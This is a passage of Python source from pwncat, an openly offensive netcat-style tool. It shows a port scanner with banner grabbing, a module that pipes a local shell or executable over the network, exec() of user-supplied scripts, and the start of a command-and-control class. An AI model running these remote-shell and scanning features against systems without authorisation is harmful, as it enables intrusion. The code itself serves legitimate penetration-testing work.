            match = re.search(reg, banner)
            if match:
                return StringEncoder.rstrip(match.group(1))  # type: ignore

        # Nothing found, return first non-empty line
        for line in lines:
            if line:
                return line

        # Nothing found
        return None

    def __get_banner(self, sock, addr, port):
        # type: (socket.socket, str, int) -> Tuple[bool, Optional[str]]
        """Retrieve the (version) banner from a network service."""
        if port in self.BANNER_PAYLOADS:
            payloads = self.BANNER_PAYLOADS[port] + self.BANNER_PAYLOADS[0]
        else:
            payloads = self.BANNER_PAYLOADS[0]

        for payload in payloads:
            # Break the loop on terminate signal
            if self.__ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for IONetworkScanner._getbanner: %s-%d", addr, port
                )
                return (False, None)
            try:
                if payload is not None:
                    sock.send(self.__enc.encode(payload))
                    self.__log.debug("%s:%d - payload sent: %s", addr, port, repr(payload))

                sock.settimeout(0.5)
                banner = sock.recv(self.__sock_opts.bufsize)
                version = self.__get_banner_version(self.__enc.decode(banner))
                self.__log.debug("%s:%d - respone received: %s", addr, port, repr(banner))
                return (True, version)
            except socket.timeout:
                continue
            except (OSError, socket.error):
                return (False, None)
        return (True, None)

    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Port scanner yielding open/closed string for given port.

        Args:
            args: additional arguments.
            kwargs: additional arguments.

        Yields:
            str: Open/closed state (optionally with banner) from a port.
        """
        port = args[0]

        # Loop over adress families
        for family in self.__targets:

            # [1/7] Check for termination request
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for IONetworkScanner.producer")  # type: ignore
                return

            addr = self.__targets[family]

            # [2/7] Get socket
            try:
                sock = self.__get_socket(family)
                sock_type = sock.type
            except (AttributeError, socket.error):
                # Exception is triggered due to stop stignal and we
                # will abort here in that case.
                return

            # [3/7] Connect scan
            try:
                laddr, lport = self.__sock.connect(
                    sock,
                    addr,
                    port,
                    None,
                    None,
                    True,
                    self.__enc.encode("\0"),
                    self.__sock_opts.bufsize,
                    0.1,
                )
                # Append local binds (addr-port) to check against during port scan
                key = str(laddr + "-" + str(lport))
                self.__local_binds[key] = sock
            except socket.error:
                self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
                continue

            # [4/7] False positives
            # Connect was successful, but against a local bind of one of our
            # port scanners, so this is a false positive.
            if str(addr + "-" + str(port)) in self.__local_binds:
                self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
                del self.__local_binds[key]
                continue

            # [5/7] Banner grabbing
            succ_banner = True
            banner = None
            if self.__banner:
                (succ_banner, banner) = self.__get_banner(sock, addr, port)

            # [6/7] Evaluation
            if banner is not None and succ_banner:
                msg = "[+] {:>5}/{} open   ({}): {}".format(
                    port,
                    self.__sock.get_type_name(sock_type),
                    self.__sock.get_family_name(family),
                    banner,
                )
                yield self.__enc.encode(msg)
            if banner is None and succ_banner:
                msg = "[+] {:>5}/{} open   ({})".format(
                    port,
                    self.__sock.get_type_name(sock_type),
                    self.__sock.get_family_name(family),
                )
                yield self.__enc.encode(msg)

            # [7/7] Cleanup
            self.__sock.close(sock, key)
            del self.__local_binds[key]

    def consumer(self, data):
        # type: (bytes) -> None
        """Print received data to stdout."""
        # For issues with flush (when using tail -F or equal) see links below:
        # https://stackoverflow.com/questions/26692284
        # https://docs.python.org/3/library/signal.html#note-on-sigpipe
        with self.__screen_lock:
            print(StringEncoder.decode(data))
            try:
                sys.stdout.flush()
            except IOError:
                # Python flushes standard streams on exit; redirect remaining output
                # to devnull to avoid another broken pipe at shutdown
                devnull = os.open(os.devnull, os.O_WRONLY)
                os.dup2(devnull, sys.stdout.fileno())

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt")  # type: ignore
        self.ssig.raise_sock_quit()

        # NOTE: Closing up to 65535 sockets (single thread) takes very very long
        # Se we leave this up to Python itself, once the program exits.
        # self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets")  # type: ignore
        # # Double loop to prevent: Dictionary size changed during iteration
        # remove = {}
        # for key in self.__local_binds:
        #     remove[key] = self.__local_binds[key]
        # for key in remove:
        #     self.__sock.close(remove[key], key)


# -------------------------------------------------------------------------------------------------
# [6/11 IOStdinStdout]: (4/5) IOStdinStdout
# -------------------------------------------------------------------------------------------------
class IOStdinStdout(IO):
    """Implement basic stdin/stdout I/O module.

    This I/O module provides a generator which continuously reads from stdin
    (non-blocking on POSIX and blocking on Windows) as well as a
    callback that writes to stdout.
    """

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, opts):
        # type: (InterruptHandler, DsIOStdinStdout) -> None
        """Set specific options for this I/O module.

        Args:
            ssig (InterruptHandler): InterruptHandler instance.
            opts (DsIOStdinStdout): IO options.
        """
        super(IOStdinStdout, self).__init__(ssig)
        self.__opts = opts
        self.__py3 = sys.version_info >= (3, 0)  # type: bool
        self.__win = os.name != "posix"  # posix or nt
        self.__stdout_isatty = sys.stdout.isatty()
        self.__stdin_isatty = sys.stdin.isatty()

        self.log.debug("STDOUT isatty: %s", self.__stdout_isatty)
        self.log.debug("STDIN  isatty: %s", self.__stdin_isatty)
        self.log.debug("STDIN  posix:  %s (%s)", str(self.__win), os.name)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Constantly ask for user input.

        Yields:
            str: Data read from stdin.
        """
        # On --send-on-eof we will return all of its contents at once:
        lines = []

        # https://stackoverflow.com/questions/1450393/#38670261
        # while True: line = sys.stdin.readline() <- reads a whole line (faster)
        # for line in sys.stdin.readlin():        <- reads one byte at a time
        while True:
            if self.ssig.has_stdin_quit():
                self.log.trace(  # type: ignore
                    "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]"
                )
                return
            try:
                data = self.__read_stdin()
            except EOFError:
                # When using select() with timeout, we don't have any input
                # at this point and simply continue the loop or quit if
                # a terminate request has been made by other threads.
                if self.ssig.has_stdin_quit():
                    self.log.trace(  # type: ignore
                        "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]"
                    )
                    return
                continue
            if data:
                self.log.debug("Received %d bytes from STDIN", len(data))
                self.log.trace("Received: %s", repr(data))  # type: ignore
                # [send-on-eof] Append data
                if self.__opts.send_on_eof:
                    lines.append(data)
                else:
                    yield data
            # EOF or <Ctrl>+<d>
            else:
                # [send-on-eof] Dump data before quitting
                if lines and self.__opts.send_on_eof:
                    yield StringEncoder.encode("").join(lines)
                self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer")  # type: ignore
                self.ssig.raise_stdin_eof()

    def consumer(self, data):
        # type: (bytes) -> None
        """Print received data to stdout."""
        if self.__py3:
            sys.stdout.buffer.write(data)
        else:
            # For issues with flush (when using tail -F or equal) see links below:
            # https://stackoverflow.com/questions/26692284
            # https://docs.python.org/3/library/signal.html#note-on-sigpipe
            print(data, end="")

        try:
            sys.stdout.flush()
        except IOError:
            # Python flushes standard streams on exit; redirect remaining output
            # to devnull to avoid another broken pipe at shutdown
            devnull = os.open(os.devnull, os.O_WRONLY)
            os.dup2(devnull, sys.stdout.fileno())

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        # TODO: Does not work on windows as it has blocking read of stdin
        self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt")  # type: ignore
        self.ssig.raise_stdin_quit()

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __set_input_timeout(self):
        # type: () -> None
        """Throws a catchable EOFError exception for sys.stdin after timeout (Linux only)."""
        # rlist: wait until ready for reading
        # wlist: wait until ready for writing
        # xlist: wait for an exceptional condition
        if not select.select([sys.stdin], [], [], self.__opts.input_timeout)[0]:
            raise EOFError("timed out")

    def __stdin_israw(self):
        # type: () -> bool
        """Check if the terminal (STDIN) is set to raw mode."""
        # Non-posix systems (e.g. Windows) do not have a raw mode
        if self.__win:
            return False

        fild = sys.stdin.fileno()
        try:
            mode = termios.tcgetattr(fild)
        except termios.error:
            # Not a TTY
            return False

        # ICANON
        # https://linux.die.net/man/3/termios
        # The setting of the ICANON canon flag in c_lflag determines whether
        # the terminal is operating in canonical mode (ICANON set) or
        # noncanonical (raw) mode (ICANON unset). By default, ICANON set.
        return mode[tty.LFLAG] != (mode[tty.LFLAG] | termios.ICANON)  # type: ignore

    def __read_stdin(self):
        # type: () -> bytes
        """Returns input from STDIN."""
        # [1/3] (Windows) Normal/Raw mode
        if self.__win:
            if self.__py3:
                return sys.stdin.buffer.read()
            # Python 2 on Windows opens sys.stdin in text mode, and
            # binary data that read from it becomes corrupted on \r\n.
            # Setting sys.stdin to binary mode fixes that.
            if hasattr(os, "O_BINARY"):
                msvcrt.setmode(  # type: ignore
                    sys.stdin.fileno(),
                    os.O_BINARY,  # pylint: disable=no-member
                )
            return sys.stdin.read()  # type: ignore

        # [2/3] (Linux/Mac) Raw mode
        if self.__stdin_israw():
            self.__set_input_timeout()
            if self.__py3:
                return sys.stdin.buffer.read(1)
            return sys.stdin.read(1)  # type: ignore

        # [3/3] (Linux/Mac) Normal mode
        self.__set_input_timeout()
        if self.__py3:
            return sys.stdin.buffer.readline()
        return sys.stdin.readline()  # type: ignore


# -------------------------------------------------------------------------------------------------
# [6/11 IOCommand]: (5/5) IOCommand
# -------------------------------------------------------------------------------------------------
class IOCommand(IO):
    """Implement command execution functionality.

    Attributes:
        proc (subprocess.Popen): subprocess.Popen instance.
    """

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, opts):
        # type: (InterruptHandler, DsIOCommand) -> None
        """Set specific options for this I/O module.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            opts (DsIOCommand): Custom module options.
        """
        super(IOCommand, self).__init__(ssig)
        self.__opts = opts
        self.log.debug("Setting '%s' as executable", self.__opts.executable)

        # Did we already run cleanup
        self.__cleaned_up = False

        # If we receive only one byte at a time, the remote end is most likely
        # in raw mode and we will also start sending one byte at a time.
        # This will be determined in the consumer and action is taken in
        # the producer.
        self.__remote_is_raw = False

        # Open executable to wait for commands
        env = os.environ.copy()
        try:
            self.proc = Popen(  # pylint: disable=consider-using-with
                self.__opts.executable,
                stdin=PIPE,
                stdout=PIPE,
                stderr=STDOUT,
                bufsize=self.__opts.bufsize,
                shell=False,
                env=env,
            )
        except FileNotFoundError:
            self.log.error("Specified executable '%s' not found", self.__opts.executable)
            sys.exit(1)
        # Python-2 compat (doesn't have FileNotFoundError)
        except OSError:
            self.log.error("Specified executable '%s' not found", self.__opts.executable)
            sys.exit(1)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Constantly ask for input.

        Yields:
            str: Data received from command output.
        """
        assert self.proc.stdout is not None
        while True:
            if self.ssig.has_command_quit():
                self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)")  # type: ignore
                self.__cleanup()
                return
            self.log.trace("Reading command output")  # type: ignore
            # Byte-wise reading is required to make it work for remote ends being in raw mode
            # However, the performance of self.proc.stdout.readline() is way faster.
            # To improve performance we will get rid of all other logging calls here.
            if self.__remote_is_raw:
                data = self.proc.stdout.read(1)
            else:
                data = self.proc.stdout.readline()
            self.log.trace("Command output: %s", repr(data))  # type: ignore
            if not data:
                if self.ssig.has_command_quit():
                    self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)")  # type: ignore
                    self.__cleanup()
                    return
                # This usually happens when sending a semicolon only to /bin/[ba]sh
                # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;'
                # Afterwards the shell is corrupt and gone so we will restart it here.
                self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable)
                self.proc = Popen(  # pylint: disable=consider-using-with
                    self.__opts.executable,
                    stdin=PIPE,
                    stdout=PIPE,
                    stderr=STDOUT,
                    bufsize=self.__opts.bufsize,
                    shell=False,
                    env=os.environ.copy(),
                )
                continue
            yield data

    def consumer(self, data):
        # type: (bytes) -> None
        """Send data received to stdin (command input).

        Args:
            data (str): Command to execute.
        """
        # If we only receive one byte at a time, also tell the consumer
        # to send one byte at a time immediately and not to wait for a full line.
        if len(data) == 1:
            self.__remote_is_raw = True
        else:
            self.__remote_is_raw = False

        assert self.proc.stdin is not None
        self.log.trace("Appending to stdin: %s", repr(data))  # type: ignore
        try:
            self.proc.stdin.write(data)
            self.proc.stdin.flush()
        except BrokenPipeError:
            pass

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt")  # type: ignore
        self.ssig.raise_command_quit()
        self.__cleanup()

    def __cleanup(self):
        # type: () -> None
        """Cleanup function."""
        if not self.__cleaned_up:
            self.log.trace(  # type: ignore
                "COMMAND-QUIT-CLEANUP: killing executable: %s with pid %d",
                self.__opts.executable,
                self.proc.pid,
            )
            self.proc.kill()
            self.__cleaned_up = True


# #################################################################################################
# #################################################################################################
# ###
# ###   7 / 11   P S E   S T O R E
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [7/11 PSE]: (1/1) PSEStore
# -------------------------------------------------------------------------------------------------
class PSEStore(object):
    """Pwncats Scripting Engine store to persist and exchange data for send/recv scripts.

    The same instance of this class will be available to your send and receive scripts
    that allow you to exchange data or manipulate themselves. You even have access to the
    currently used instance of the networking class to manipulate the active socket.
    As well as to the logger and InterruptHandler instances.
    """

    @property
    def messages(self):
        # type: () -> Dict[str, List[bytes]]
        """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name."""
        return self.__messages

    @messages.setter
    def messages(self, value):
        # type: (Dict[str, List[bytes]]) -> None
        self.__messages = value

    @property
    def store(self):
        # type: () -> Any
        """`Any`: Custom data store to be used in PSE scripts to persist your data between calls."""
        return self.__store

    @store.setter
    def store(self, value):
        # type: (Any) -> None
        self.__store = value

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: Instance of InterruptHandler class."""
        return self.__ssig

    @property
    def net(self):
        # type: () -> List[IONetwork]
        """`IONetwork`: List of active IONetwork instances (client or server)."""
        return self.__net

    @property
    def log(self):
        # type: () -> logging.Logger
        """`Logging.logger`: Instance of Logging.logger class."""
        return self.__log

    def __init__(self, ssig, net):
        # type: (InterruptHandler, List[IONetwork]) -> None
        """Instantiate the PSE class.

        Args:
            ssig (InterruptHandler): Instance InterruptHandler.
            net (IONetwork): Instance of the current network class to manipulate the socket.
        """
        self.__messages = {}
        self.__store = None
        self.__ssig = ssig
        self.__net = net
        self.__log = logging.getLogger(__name__)


# #################################################################################################
# #################################################################################################
# ###
# ###   8 / 11   R U N N E R
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [8/11 IO RUNNER]: (1/2) InterruptHandler
# -------------------------------------------------------------------------------------------------
class InterruptHandler(object):
    """Pwncat interrupt handler.

    It allows all threads to raise various signal on certain actions,
    as well as to ask the Interrupt Handler what to do.
    The Interrupt handler will internally decide (based on pwncat's
    command line arguments) what to do.
    """

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, keep_open, no_shutdown):
        # type: (bool, bool) -> None
        """Instantiate InterruptHandler.

        Args:
            keep_open (bool): `--keep-open` command line argument.
            no_shutdown (bool): `--no-shutdown` command line argument.
        """
        self.__log = logging.getLogger(__name__)  # type: logging.Logger
        self.__keep_open = keep_open
        self.__no_shutdown = no_shutdown

        # Shutdown signals
        self.__terminate = False
        self.__sock_send_eof = False
        self.__sock_quit = False
        self.__stdin_quit = False
        self.__command_quit = False

        # Producers have received EOF
        self.__sock_eof = False
        self.__stdin_eof = False
        self.__command_eof = False

        def handler(signum, frame):  # type: ignore  # pylint: disable=unused-argument
            self.__log.trace("Ctrl+c caught.")  # type: ignore
            # logging.shutdown()
            self.raise_terminate()

        # Handle Ctrl+C
        # signal.signal(signal.SIGTERM, handler)
        signal.signal(signal.SIGINT, handler)

    # --------------------------------------------------------------------------
    # Ask for action
    # --------------------------------------------------------------------------
    def has_terminate(self):
        # type: () -> bool
        """`bool`: Switch to be checked if pwncat should be terminated."""
        return self.__terminate

    def has_sock_send_eof(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the socket connection should be closed for sending."""
        return self.__sock_send_eof

    def has_sock_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the socket connection should be closed."""
        return self.__sock_quit

    def has_stdin_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the STDIN should be closed."""
        return self.__stdin_quit

    def has_command_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the command should be closed."""
        return self.__command_quit

    # --------------------------------------------------------------------------
    # Raise Termination signal
    # --------------------------------------------------------------------------
    def raise_terminate(self):
        # type: () -> None
        """Signal the application that Socket should be quit."""
        self.__log.trace("SIGNAL TERMINATE raised")  # type: ignore
        self.__terminate = True
        self.__sock_quit = True
        self.__stdin_quit = True
        self.__command_quit = True

    # --------------------------------------------------------------------------
    # Raise Socket signals
    # --------------------------------------------------------------------------
    def raise_sock_send_eof(self):
        # type: () -> None
        """Signal the application that Socket should be closed for sending."""
        # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised")  # type: ignore
        self.__sock_send_eof = True

    def raise_sock_eof(self):
        # type: () -> None
        """Signal the application that Socket has received EOF."""
        # self.__log.trace("SIGNAL SOCK-EOF raised")  # type: ignore
        self.__sock_eof = True
        self.raise_sock_quit()

    def raise_sock_quit(self):
        # type: () -> None
        """Signal the application that Socket should be quit."""
        # self.__log.trace("SIGNAL SOCK-QUIT raised")  # type: ignore
        self.__sock_quit = True
        self.raise_terminate()

    # --------------------------------------------------------------------------
    # Raise STDIN signals
    # --------------------------------------------------------------------------
    def raise_stdin_eof(self):
        # type: () -> None
        """Signal the application that STDIN has received EOF."""
        # self.__log.trace("SIGNAL STDIN-EOF raised")  # type: ignore
        self.__stdin_eof = True
        self.raise_stdin_quit()

    def raise_stdin_quit(self):
        # type: () -> None
        """Signal the application that STDIN should be quit."""
        # self.__log.trace("SIGNAL STDIN-QUIT raised")  # type: ignore
        self.__stdin_quit = True
        # If --no-shutdown or -keep-open is specified
        # pwncat will not invoke shutdown on a socket after seeing EOF on stdin
        if not (self.__no_shutdown or self.__keep_open):
            # No more data from stdin, we can tell the remote side we are done
            # by closing the socket for sending (they will receive an EOF).
            self.raise_sock_send_eof()

    # --------------------------------------------------------------------------
    # Raise COMMAND signals
    # --------------------------------------------------------------------------
    def raise_command_eof(self):
        # type: () -> None
        """Signal the application that Command has received EOF."""
        # self.__log.trace("SIGNAL COMMAND-EOF raised")  # type: ignore
        self.__command_eof = True
        self.raise_command_quit()

    def raise_command_quit(self):
        # type: () -> None
        """Signal the application that Command should be quit."""
        # self.__log.trace("SIGNAL COMMAND-QUIT raised")  # type: ignore
        self.__command_quit = True
        self.raise_terminate()


# -------------------------------------------------------------------------------------------------
# [8/11 IO RUNNER]: (2/2) Runner
# -------------------------------------------------------------------------------------------------
class Runner(object):
    """Runner class that takes care about putting everything into threads."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, fast_quit, pse):
        # type: (InterruptHandler, bool, PSEStore) -> None
        """Create a new Runner object.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            fast_quit (boo): On `True` do not join threads upon exit, just raise terminate and exit.
            pse (PSEStore): Pwncat Scripting Engine store.
        """
        self.log = logging.getLogger(__name__)

        # Dict of producer/consumer action to run in a thread.
        # Each list item will be run in its own thread
        self.__actions = {}  # type: Dict[str, DsRunnerAction]

        # Dict of timed function definition to run in a thread.
        # Each list item will be run in its own thread.
        self.__timers = {}  # type: Dict[str, DsRunnerTimer]

        # Dict of repeater function definition to run in a thread.
        # Each list item will be run in its own thread.
        self.__repeaters = {}  # type: Dict[str, DsRunnerRepeater]

        # A dict which holds the threads created from actions.
        # The name is based on the __actions name
        # {"name": "<thread>"}
        self.__threads = {}  # type: Dict[str, threading.Thread]

        self.__ssig = ssig
        self.__fast_quit = fast_quit
        self.__pse = pse

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def add_action(self, name, action):
        # type: (str, DsRunnerAction) -> None
        """Add a function to the producer/consumer thread pool runner.

        Args:
            name (str): The name for the added action (will be used for logging the tread name).
            action (DsRunnerAction): Instance of DSRunnerAction.
        """
        self.__actions[name] = action

    def add_timer(self, name, timer):
        # type: (str, DsRunnerTimer) -> None
        """Add a function to the timer thread pool runner.

        Args:
            name (str): The name for the added timer (will be used for logging the thread name).
            timer (DsRunnerTimer): Instance of DsRunnerTimer.
        """
        self.__timers[name] = timer

    def add_repeater(self, name, repeater):
        # type: (str, DsRunnerRepeater) -> None
        """Add a function to the repeater thread pool runner.

        Args:
            name (str): The name for the added repeater (will be used for logging the thread name).
            repeater (DsRunnerRepeater): Instance of DsRunnerRepeater.
        """
        self.__repeaters[name] = repeater

    def run(self):
        # type: () -> None
        """Run threaded pwncat I/O modules."""

        def run_action(
            name,  # type: str
            producer,  # type: DsCallableProducer
            consumer,  # type: Callable[[bytes], None]
            transformers,  # type: List[Transform]
            code,  # type: Optional[Union[str, bytes, CodeType]]
        ):
            # type: (...) -> None
            """Producer/consumer run function to be thrown into a thread.

            Args:
                name (str): Name for logging output.
                producer (function): A generator function which yields data.
                consumer (function): A callback which consumes data from the generator.
                transformers ([function]): List of transformer functions applied before consumer.
                code (ast.AST): User-supplied python code with a transform(data) -> str function.
            """
            self.log.trace("[%s] Producer Start", name)  # type: ignore
            for data in producer.function(*producer.args, **producer.kwargs):
                self.log.trace("[%s] Producer received: %s", name, repr(data))  # type: ignore

                # [1/3] Transform data before sending it to the consumer
                if transformers:
                    for transformer in transformers:
                        data = transformer.transform(data)
                    self.log.trace(  # type: ignore
                        "[%s] Producer data after transformers: %s", name, repr(data)
                    )

                # [2/3] Apply custom user-supplied code transformations
                if code is not None:
                    self.log.debug(
                        "[%s] Executing user supplied transform(data, pse) -> data function", name
                    )
                    pse = self.__pse
                    # Add current message to PSE store
                    if name in self.__pse.messages:
                        self.__pse.messages[name] = self.__pse.messages[name] + [data]
                    else:
                        self.__pse.messages[name] = [data]
                    # Execute script code
                    exec(code, {}, locals())  # pylint: disable=exec-used
                    data = locals()["transform"](data, pse)

                    self.log.trace(  # type: ignore
                        "[%s] Producer data after user supplied transformer: %s", name, repr(data)
                    )

                # [3/3] Consume it
                consumer(data)
            self.log.trace("[%s] Producer Stop", name)  # type: ignore

        def run_timer(name, action, intvl, ssig, *args, **kwargs):
            # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None
            """Timer run function to be thrown into a thread (Execs periodic tasks).

            Args:
                name (str):        Name for logging output
                action (function): Function to be called in a given intervall
                intvl (float):     Intervall at which the action function will be called
                ssig (InterruptHandler): Instance of InterruptHandler
                args (*args):      *args for action func
                kwargs (**kwargs): **kwargs for action func
            """
            self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl)  # type: ignore
            time_last = int(time.time())
            while True:
                if ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for timer action [%s]", name
                    )
                    return
                time_now = int(time.time())
                if time_now > time_last + intvl:
                    self.log.debug("[%s] Executing timed function", time_now)
                    action(*args, **kwargs)
                    time_last = time_now  # Reset previous time
                time.sleep(0.1)

        def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs):
            # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None
            """Repeater run function to be thrown into a thread (Execs periodic tasks).

            Args:
                name (str):        Name for logging output
                action (function): Function to be called
                repeat (int):      Repeat the function so many times before quitting
                pause (float):     Pause between repeated calls
                ssig (InterruptHandler): Instance of InterruptHandler
                args (*args):      *args for action func
                kwargs (**kwargs): **kwargs for action func
            """
            cycles = 1
            self.log.trace("Repeater Start (%d/%d)", cycles, repeat)  # type: ignore
            while cycles <= repeat:
                if ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for repeater action [%s]", name
                    )
                    return
                self.log.debug("Executing repeated function (%d/%d)", cycles, repeat)
                action(*args, **kwargs)
                cycles += 1
                time.sleep(pause)

        # [1/3] Start available action in a thread
        for key in self.__actions:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [1]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_action,
                name=key,
                args=(
                    key,
                    self.__actions[key].producer,
                    self.__actions[key].consumer,
                    self.__actions[key].transformers,
                    self.__actions[key].code,
                ),
            )
            # Daemon threads are easier to kill
            thread.daemon = self.__actions[key].daemon_thread

            # Add delay if threads cannot be started
            delay = 0.0
            while True:
                if self.__ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for Runner.run [2]: [%s]", key
                    )
                    break
                try:
                    # Do not call any logging functions in here as it will
                    # cause a deadlock for Python2
                    # Start and break the loop upon success to go to the next thread to start
                    thread.start()
                    break
                except (RuntimeError, Exception):  # pylint: disable=broad-except
                    delay += 0.1
                    time.sleep(delay)  # Give the system some time to release open fd's
            self.__threads[key] = thread

        # [2/3] Start available timers in a thread
        for key in self.__timers:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [2]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_timer,
                name=key,
                args=(
                    key,
                    self.__timers[key].action,
                    self.__timers[key].intvl,
                    self.__timers[key].ssig,
                )
                + self.__timers[key].args,
                kwargs=self.__timers[key].kwargs,
            )
            thread.daemon = False
            thread.start()

        # [3/3] Start available repeaters in a thread
        for key in self.__repeaters:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [3]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_repeater,
                name=key,
                args=(
                    key,
                    self.__repeaters[key].action,
                    self.__repeaters[key].repeat,
                    self.__repeaters[key].pause,
                    self.__repeaters[key].ssig,
                )
                + self.__repeaters[key].args,
                kwargs=self.__repeaters[key].kwargs,
            )
            thread.daemon = False
            thread.start()

        def check_stop():
            # type: () -> bool
            """Stop threads."""
            # [1/2] Fast shutdown
            # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join()
            # in a fast loop. Also for port-scan we will have thousands of threads that need
            # to be joined and the signal handler is unable to abort the whole program during that
            # time. Outcome is it would take a few minutes to abort during port scan.
            # The fix is to use a "faster" method to kill the threads.
            # 1. The port scanner threads need to be started in daemon mode
            # 2. the fast_quit param to Runner() must be set to True
            if self.__fast_quit:
                if self.__ssig.has_terminate():
                    self.log.trace("Fast quit - shutting down.")  # type: ignore
                    return True

            # [2/2] Normal shutdown for non-daemon threads
            else:
                for key in self.__threads:
                    if not self.__threads[key].is_alive() or self.__ssig.has_terminate():
                        for interrupt in self.__actions[key].interrupts:
                            # [1/3] Call external interrupters
                            self.log.trace(  # type: ignore
                                "Call INTERRUPT: %s.%s() for %s",
                                getattr(interrupt, "__self__").__class__.__name__,
                                interrupt.__name__,
                                self.__threads[key].getName(),
                            )
                            interrupt()
                            # [2/3] All blocking events inside the threads are gone, now join them
                            try:
                                self.log.trace(  # type: ignore
                                    "Joining %s", self.__threads[key].getName()
                                )
                                # NOTE: The thread.join() operating will also block the signal
                                # handler if we try to join too many threads at once.
                                self.__threads[key].join()
                                self.log.trace(  # type: ignore
                                    "Joined %s", self.__threads[key].getName()
                                )
                            except RuntimeError:
                                pass
            # If all threads are done, also stop
            if all([not self.__threads[key].is_alive() for key in self.__threads]):
                self.log.trace("All threads dead - shutting down.")  # type: ignore
                return True
            return False

        while True:
            if check_stop():
                sys.exit(0)
            # Need a timeout to not skyrocket the CPU
            if sys.version_info < (3, 3):
                # Signal Handler in Python < 3.3 is broken and might not catch on
                # a too small timeout invervall
                time.sleep(0.5)
            else:
                time.sleep(0.01)


# #################################################################################################
# #################################################################################################
# ###
# ###   9 / 11   C O M M A N D   A N D   C O N T R O L   M O D U L E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [9/11 Command & Control]: (1/3) CNC Exception classes
# -------------------------------------------------------------------------------------------------
class CNCPythonNotFound(BaseException):
    """CNC Exception handler."""


# -------------------------------------------------------------------------------------------------
# [9/11 Command & Control]: (2/3) CNC
# -------------------------------------------------------------------------------------------------
class CNC(object):
    """Command and Control base class."""

    __PYTHON_PATHS = [
        "/usr/bin",
        "/usr/local/bin",
        "/usr/local/python/bin",
        "/usr/local/python2/bin",
        "/usr/local/python2.7/bin",
        "/usr/local/python3/bin",
        "/usr/local/python3.5/bin",
        "/usr/local/python3.6/bin",
        "/usr/local/python3.7/bin",
        "/usr/local/python3.8/bin",
        "/bin",
        "/opt/bin",
        "/opt/python/bin",
        "/opt/python2/bin",
        "/opt/python2.7/bin",
        "/opt/python3/bin",
        "/opt/python3.5/bin",
        "/opt/python3.6/bin",
        "/opt/python3.7/bin",
        "/opt/python3.8/bin",
    ]

    __PYTHON_NAMES = [
        "python3",
        "python",
        "python2",
        "python2.7",
        "python3.5",
        "python3.6",
        "python3.7",
        "python3.8",
    ]

    __COLORS = {"yellow": "\x1b[33;21m", "reset": "\x1b[0m"}

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def remote_python(self):
        # type: () -> str
        """Discovered absolute Python remote path."""
        return self.__remote_python

    @property
    def remote_py3(self):
        # type: () -> bool
        """Is remote version Python3? Else it is Python2."""
        return self.__remote_py3

